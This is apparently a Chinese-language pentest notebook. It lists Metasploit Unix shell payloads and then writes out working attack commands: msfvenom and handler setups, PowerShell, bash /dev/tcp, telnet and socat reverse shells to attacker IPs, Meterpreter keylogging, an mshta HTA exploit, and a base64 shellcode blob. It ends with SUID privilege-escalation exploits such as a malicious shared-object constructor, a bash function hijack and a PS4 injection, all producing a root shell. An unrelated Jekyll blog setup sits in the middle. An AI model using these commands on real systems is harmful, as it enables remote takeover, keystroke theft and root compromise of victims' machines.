cmd/unix/bind_awk                                   Listen for a connection and spawn a command shell via GNU AWK
    cmd/unix/bind_busybox_telnetd                       Listen for a connection and spawn a command shell via BusyBox telnetd
    cmd/unix/bind_inetd                                 Listen for a connection and spawn a command shell (persistent)
    cmd/unix/bind_jjs                                   Listen for a connection and spawn a command shell via jjs
    cmd/unix/bind_lua                                   Listen for a connection and spawn a command shell via Lua
    cmd/unix/bind_netcat                                Listen for a connection and spawn a command shell via netcat
    cmd/unix/bind_netcat_gaping                         Listen for a connection and spawn a command shell via netcat
    cmd/unix/bind_netcat_gaping_ipv6                    Listen for a connection and spawn a command shell via netcat
    cmd/unix/bind_nodejs                                Continually listen for a connection and spawn a command shell via nodejs
    cmd/unix/bind_perl                                  Listen for a connection and spawn a command shell via perl
    cmd/unix/bind_perl_ipv6                             Listen for a connection and spawn a command shell via perl
    cmd/unix/bind_r                                     Continually listen for a connection and spawn a command shell via R
    cmd/unix/bind_ruby                                  Continually listen for a connection and spawn a command shell via Ruby
    cmd/unix/bind_ruby_ipv6                             Continually listen for a connection and spawn a command shell via Ruby
    cmd/unix/bind_socat_udp                             Creates an interactive shell via socat
    cmd/unix/bind_stub                                  Listen for a connection and spawn a command shell (stub only, no payload)
    cmd/unix/bind_zsh                                   Listen for a connection and spawn a command shell via Zsh. Note: Although Zsh is often available, please be aware it isn't usually installed by default.
    cmd/unix/generic                                    Executes the supplied command
    cmd/unix/interact                                   Interacts with a shell on an established socket connection
    cmd/unix/pingback_bind                              Accept a connection, send a UUID, then exit
    cmd/unix/pingback_reverse                           Creates a socket, send a UUID, then exit
    cmd/unix/reverse                                    Creates an interactive shell through two inbound connections
    cmd/unix/reverse_awk                                Creates an interactive shell via GNU AWK
    cmd/unix/reverse_bash                               Creates an interactive shell via bash's builtin /dev/tcp. This will not work on circa 2009 and older Debian-based Linux distributions (including Ubuntu) because they compile bash without the /dev/tcp feature.
    cmd/unix/reverse_bash_telnet_ssl                    Creates an interactive shell via mkfifo and telnet. This method works on Debian and other systems compiled without /dev/tcp support. This module uses the '-z' option included on some systems to encrypt using SSL.
    cmd/unix/reverse_bash_udp                           Creates an interactive shell via bash's builtin /dev/udp. This will not work on circa 2009 and older Debian-based Linux distributions (including Ubuntu) because they compile bash without the /dev/udp feature.
    cmd/unix/reverse_jjs                                Connect back and create a command shell via jjs
    cmd/unix/reverse_ksh                                Connect back and create a command shell via Ksh. Note: Although Ksh is often available, please be aware it isn't usually installed by default.
    cmd/unix/reverse_lua                                Creates an interactive shell via Lua
    cmd/unix/reverse_ncat_ssl                           Creates an interactive shell via ncat, utilizing ssl mode
    cmd/unix/reverse_netcat                             Creates an interactive shell via netcat
    cmd/unix/reverse_netcat_gaping                      Creates an interactive shell via netcat
    cmd/unix/reverse_nodejs                             Continually listen for a connection and spawn a command shell via nodejs
    cmd/unix/reverse_openssl                            Creates an interactive shell through two inbound connections
    cmd/unix/reverse_perl                               Creates an interactive shell via perl
    cmd/unix/reverse_perl_ssl                           Creates an interactive shell via perl, uses SSL
    cmd/unix/reverse_php_ssl                            Creates an interactive shell via php, uses SSL
    cmd/unix/reverse_python                             Connect back and create a command shell via Python
    cmd/unix/reverse_python_ssl                         Creates an interactive shell via python, uses SSL, encodes with base64 by design.
    cmd/unix/reverse_r                                  Connect back and create a command shell via R
    cmd/unix/reverse_ruby                               Connect back and create a command shell via Ruby
    cmd/unix/reverse_ruby_ssl                           Connect back and create a command shell via Ruby, uses SSL
    cmd/unix/reverse_socat_udp                          Creates an interactive shell via socat
    cmd/unix/reverse_ssh                                Connect back and create a command shell via SSH
    cmd/unix/reverse_ssl_double_telnet                  Creates an interactive shell through two inbound connections, encrypts using SSL via "-z" option
    cmd/unix/reverse_stub                               Creates an interactive shell through an inbound connection (stub only, no payload)
    cmd/unix/reverse_tclsh                              Creates an interactive shell via Tclsh
    cmd/unix/reverse_zsh                                Connect back and create a command shell via Zsh. Note: Although Zsh is often available, please be aware it isn't usually installed by default.
    tty/unix/interact                                   Interacts with a TTY on an established socket connection

handler -H 10.10.14.7 -P 6678 -p cmd/unix/reverse_bash

msfvenom -p cmd/unix/reverse_bash LHOST=10.10.14.7 LPORT=6678 -f raw

0<&43-;exec 43<>/dev/tcp/192.168.123.123/6678;sh <&43 >&43 2>&43

handler -H 192.168.123.123 -P 6688 -p cmd/unix/reverse_python

msfvenom -p cmd/unix/reverse_python LHOST=192.168.123.123 LPORT=6688 -f raw

keyscan_start

keyscan_dump

wget https://github.com/fatedier/frp/releases/download/v0.34.1/frp_0.34.1_linux_amd64.tar.gz
tar -zxvf frp_0.34.1_linux_amd64.tar.gz
cd frp_0.34.1_linux_amd64

[common]
server_addr = vps的ip
server_port = 7000   #这个是默认的端口，无需更改

[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = aaa #本地要开放的端口
remote_port = bbb  #访问vps的哪个端口

【vps】
./frps -c ./frps.ini

【kali-msf】
./frpc -c ./frpc.ini

use exploit/windows/misc/hta_server
set srvhost 10.100.19.19
set lhost 10.100.19.19
set SRVPORT 53
exploit

mshta.exe http://10.100.19.19:53/tA7YRzR.hta

/EiD5PDozAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCAAA1CgoTE0FUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1WoKQV5QUE0xyU0xwEj/wEiJwkj/wEiJwUG66g/f4P/VSInHahBBWEyJ4kiJ+UG6maV0Yf/VhcB0Ckn/znXl6JMAAABIg+wQSIniTTHJagRBWEiJ+UG6AtnIX//Vg/gAflVIg8QgXon2akBBWWgAEAAAQVhIifJIMclBulikU+X/1UiJw0mJx00xyUmJ8EiJ2kiJ+UG6AtnIX//Vg/gAfShYQVdZaABAAABBWGoAWkG6Cy8PMP/VV1lBunVuTWH/1Un/zuk8////SAHDSCnGSIX2dbRB/+dYagBZScfC8LWiVv/V

use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set target 3
msf exploit (web_delivery)> set payload windows/meterpreter/reverse_tcp
msf exploit (web_delivery)> set lhost 192.168.1.109
msf exploit (web_delivery)>set srvhost 192.168.1.109
msf exploit (web_delivery)>exploit

powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("192.168.123.123",4455);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
这个代码反弹失败
---
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.123.123',4455);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

nc -lnvp 4456
exec 5<>/dev/tcp/18.166.7.104/4456
cat <&5 | while read line; do $line 2>&5 >&5; done

nc -n -vv -l -p 8080 
nc -n -vv -l -p 8081
Victim 
telnet 18.166.7.104  8080 | /bin/bash | telnet 18.166.7.104  8081

nc -lnvp 4456
rm -f /tmp/p; mknod /tmp/p p && telnet 18.166.7.104 4456 0/tmp/p

（18.166.7.104公网机器运行）socat TCP4-listen:4435 STDOUT
（内网机器运行）socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:18.166.7.104:4435

ruby -v
sqlite3 --version
gem install rails
gem install jekyll

确保ruby环境已安装，数据库已安装。
bundle install
开始安装

useradd whale
passwd whale
visudo
添加whale到sudoer用户组

先测试内网ip
bundle exec jekyll serve

bundle 

git clone https://github.com/Whale3070/Whale3070.github.io
bundle exec jekyll serve --host=外网ip

apt-get install ruby-dev
执行成功
gem install commonmarker -v '0.17.13' --source 'https://rubygems.org/'
执行失败
gem install commonmarker
执行失败，报错
ruby -v
执行成功
rvm
执行失败
curl -sSL https://rvm.io/mpapis.asc | sudo gpg --import -
curl -sSL https://rvm.io/pkuczynski.asc | sudo gpg --import -
curl -L https://get.rvm.io | bash -s stable
执行成功
rvm list
执行失败
cd /usr/local/rvm/bin;./rvm list known

./rvm install 2.7.0

./rvm list
./rvm 2.7.0 --default

gem install rails
rails --version
bundle install
bundle exec jekyll serve
执行成功
访问http://127.0.0.1:4000，没问题以后，再架设到外部ip

ps -ef | grep jekyll
bundle exec jekyll serve --host=172.31.10.237

raw.githubusercontent.com/Whale3070/Whale3070.github.io/master
替换为
18.166.144.145:4000

sed -i 's/https:\/\/raw.githubusercontent.com\/Whale3070\/Whale3070.github.io\/master/http:\/\/18.166.144.145:4000/g' 2020-05-13*

测试没问题，图片好了以后，进行全局替换
sed -i 's/https:\/\/raw.githubusercontent.com\/Whale3070\/Whale3070.github.io\/master/http:\/\/18.166.144.145:4000/g' _posts/*.md

find / -type f -perm -04000 -ls 2>/dev/null
strace /usr/local/bin/suid-so 2>&1 | grep -i -E "open|access|no such file"
mkdir /home/user/.config
vi libcalc.c


#include <stdio.h> 
#include <stdlib.h> 
static void inject() __attribute__((constructor)); 
void inject() { 
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); 
}

gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c

/usr/local/bin/suid-so

dpkg -l | grep nginx
su -l www-data

使用exp去执行获得root权限，具体请看视频教程
/home/user/tools/nginx/nginxed-root.sh /var/log/nginx/error.log

invoke-rc.d nginx rotate >/dev/null 2>&1

find / -type f -perm -04000 -ls 2>/dev/null
//查看有suid权限的程序

strings /usr/local/bin/suid-env
//查看二进制文件使用的函数

whereis service
//查看service的路径
/usr/sbin/service

---
echo $PATH
echo $USER
echo $PWD
echo $HOME
什么是环境变量：
可以使用export命令去定义环境变量
比如说：
环境变量与terminal终端息息相关，当打开了一个terminal，它就会自动加载环境
变量。
如何去使用环境变量：
export b=192.168.28.128
ping -c 4 $b

function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }

export -f /usr/sbin/service

/usr/local/bin/suid-env2

env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp && chown root.root /tmp/bash && chmod +s /tmp/bash)' /bin/sh -c '/usr/local/bin/suid-env2; set +x; /tmp/bash -p'

function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }

//   "/usr/sbin/service" 函数名称
//   bash 定义一个很像service绝对路径的函数

export -f /usr/sbin/service
/usr/local/bin/suid-env2
//  将这个函数“/usr/sbin/service”保存到环境变量，并去执行suid程序“/usr/local/bin/suid-env2”
//   suid程序本来是想去执行service apache2 start，/usr/sbin/service
cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p;